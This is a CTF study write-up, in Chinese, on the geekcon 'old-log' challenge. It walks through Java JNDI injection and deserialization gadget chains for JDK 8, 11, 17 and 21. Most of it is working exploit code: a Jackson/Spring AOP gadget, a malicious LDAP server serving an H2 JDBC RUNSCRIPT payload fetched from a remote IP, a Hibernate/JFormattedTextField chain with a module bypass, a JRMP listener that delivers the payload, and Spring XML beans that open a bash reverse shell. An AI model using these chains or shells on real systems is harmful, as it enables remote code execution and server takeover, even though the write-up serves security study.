geekcon old-log学习
jdk1.8,jdk11
在jndi注入下,jdk1.8使用ldap传入java反序列化,打jackson链子即可(漏洞存在环境jdk1.8,jdk11)因为在后面几个版本Template类被做了一些限制
编写参考(能自己写但是没有必要)
jndiMap
package map.jndi.gadget;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import map.jndi.util.ReflectUtil;
import map.jndi.util.SerializeUtil;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Jackson {
public static byte[] create(TemplatesImpl templatesImpl) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
if (!ctClass.isFrozen()) {
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.freeze();
ctClass.toClass();
}
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);
POJONode pojoNode = new POJONode(templatesProxy);
BadAttributeValueExpException e = new BadAttributeValueExpException(null);
ReflectUtil.setFieldValue(e, "val", pojoNode);
return SerializeUtil.serialize(e);
}
}
jackson反序列化触发getter,使用spring aop使链子稳定
jdk17
DataSourceFactory
在jdk17中,rmi访问外网ip会有一些问题,这边使用LDAP + Reference
这边使用X1r0z师傅的博客来演示一下
X1r0z blog
package com.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
可以使用 LDAP + Reference Factory,Payload2: 返回序列化 Gadget
即tomcat-jdbc打h2 jdbc attack
写入到ldap服务器中即可,只不过这边有点问题我使用的是远程加载poc.sql
所以payload是
package com;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",url));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));
// Payload2: 返回序列化 Gadget// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
GenericNamingResourcesFactory
Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); //配置文件的地址
return ref;
}
设置cc3.2.2允许反序列化,然后打jdk反序列化漏洞
jdk21
这个漏洞属于是ssh打一条全新的链子
这个比较强,sink点在于DefaultFormatter#stringToValue
JFormattedTextField#commitEdit触发了他
public void commitEdit() throws ParseException {
AbstractFormatter format = getFormatter();
if (format != null) {
setValue(format.stringToValue(getText()), false, true);
}
}
发现javax.swing.JFormattedTextField$FocusLostHandler#run触发了他,到这边已经能组成一个低版本的链子了,但是jdk高版本有package隔离
从官方给出的链子来看
reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable就不受隔离影响
他是groovy的类
Hibernate5存在任意无参方法调用(反思,没有听过),所以最后就是
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.hibernate.validator.internal.util.ReflectionHelper;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import java.lang.reflect.*;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
new Main().bypassModule();
DefaultFormatter defaultFormatter = new DefaultFormatter();
defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
jFormattedTextField.setValue("http://127.0.0.1:8001/poc.xml");
Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
Object o = UnSafeTools.newClass(handler);
UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);
Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
Object exec = UnSafeTools.newClass(execRunnable);
UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);
Object makeHibernate5Getter = makeHibernate5Getter(handler, "run");
Object o1 = makeHibernate45Caller( o,makeHibernate5Getter);
String s = SerialTools.base64Serial(o1);
System.out.println(s);
SerialTools.base64DeSerial(s);
// GetterMethodImpl getterMethod = new GetterMethodImpl(execRunnable, "run", run);
// String s = SerialTools.base64Serial(getterMethod);
// System.out.println(s);
// Object o1 = SerialTools.base64DeSerial(s);
// Method get = o1.getClass().getDeclaredMethod("get",Object.class);
// get.invoke(o1,exec);
}
static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = (PojoComponentTuplizer)Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = (ComponentType)Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", Integer.valueOf(1));
Reflections.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
TypedValue v1 = new TypedValue((Type)t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue((Type)t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
HashMap<Object, Object> s = new HashMap();
Field size = s.getClass().getDeclaredField("size");
ReflectHelper.ensureAccessibility(size);
size.set(s,2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$EntAry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
ReflectHelper.ensureAccessibility(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Field table = s.getClass().getDeclaredField("table");
ReflectHelper.ensureAccessibility(table);
table.set(s,tbl);
return s;
}
public void bypassModule() throws Exception {
UnSafeTools.bypassModule(this.getClass(), Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
// UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
// UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
// UnSafeTools.bypassModule(this.getClass(), HashMap.class);
// UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
// UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
// UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
// UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
UnSafeTools.bypassModule(ReflectHelper.class, HashMap.class);
// UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
// UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
}
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
}
jndi高版本注入
https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc
打的是JRMPListener打反序列化漏洞
所以参考一下师傅的jndi的payload
package com;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.swing.*;
import javax.swing.event.EventListenerList;
import javax.swing.text.DefaultFormatter;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Vector;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener() {
}
public static void main(String[] args) throws Exception {
new JRMPListener().bypassModule();
// if (args.length < 3) {
// System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
// System.exit(-1);
// return;
// }
final Object payloadObject = makePayloadObject();
try {
int port = 1389;
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
private static Object makePayloadObject() throws Exception {
DefaultFormatter defaultFormatter = new DefaultFormatter();
defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
jFormattedTextField.setValue("http://106.54.209.118:4444/poc.xml");
Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
Object o = UnSafeTools.newClass(handler);
UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);
Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
Object exec = UnSafeTools.newClass(execRunnable);
UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);
Object makeHibernate5Getter = makeHibernate5Getter(execRunnable, "run");
Object o1 = makeHibernate45Caller( exec,makeHibernate5Getter);
return o1;
}
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = (PojoComponentTuplizer)ReflectTools.createWithoutConstructor(PojoComponentTuplizer.class);
ReflectTools.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = (ComponentType)ReflectTools.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
ReflectTools.setFieldValue(t, "componentTuplizer", tup);
ReflectTools.setFieldValue(t, "propertySpan", Integer.valueOf(1));
ReflectTools.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
TypedValue v1 = new TypedValue((Type)t, null);
ReflectTools.setFieldValue(v1, "value", tpl);
ReflectTools.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue((Type)t, null);
ReflectTools.setFieldValue(v2, "value", tpl);
ReflectTools.setFieldValue(v2, "type", t);
HashMap<Object, Object> s = new HashMap();
Field size = s.getClass().getDeclaredField("size");
ReflectTools.setAccessible(size);
size.set(s,2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$EntAry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
ReflectTools.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Field table = s.getClass().getDeclaredField("table");
ReflectTools.setAccessible(table);
table.set(s,tbl);
return s;
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
public void bypassModule() throws Exception {
// UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
// UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
// UnSafeTools.bypassModule(this.getClass(), HashMap.class);
// UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
// UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
// UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
// UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
UnSafeTools.bypassModule(ReflectTools.class, HashMap.class);
UnSafeTools.bypassModule(ReflectTools.class, CompoundEdit.class);
UnSafeTools.bypassModule(ReflectTools.class, int.class);
// UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
// UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
return this.hadConnection;
} catch (InterruptedException e) {
return false;
}
}
/**
*
*/
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException e) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
// BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
// ReflectTools.setFieldValue(ex, "val", payload);
// EventListenerList list2 = new EventListenerList();
// UndoManager manager = new UndoManager();
//
// Vector vector = (Vector) ReflectTools.getFieldValue(manager, "edits");
// vector.add(payload);
// ReflectTools.setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});
oos.writeObject(payload);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
反弹shell的payload
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="htt
p://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.spr
ingframework.org/schema/beans http://www.springframework.org/schema/beans/
spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/xxxxx/7780 <&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,Y...E=}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>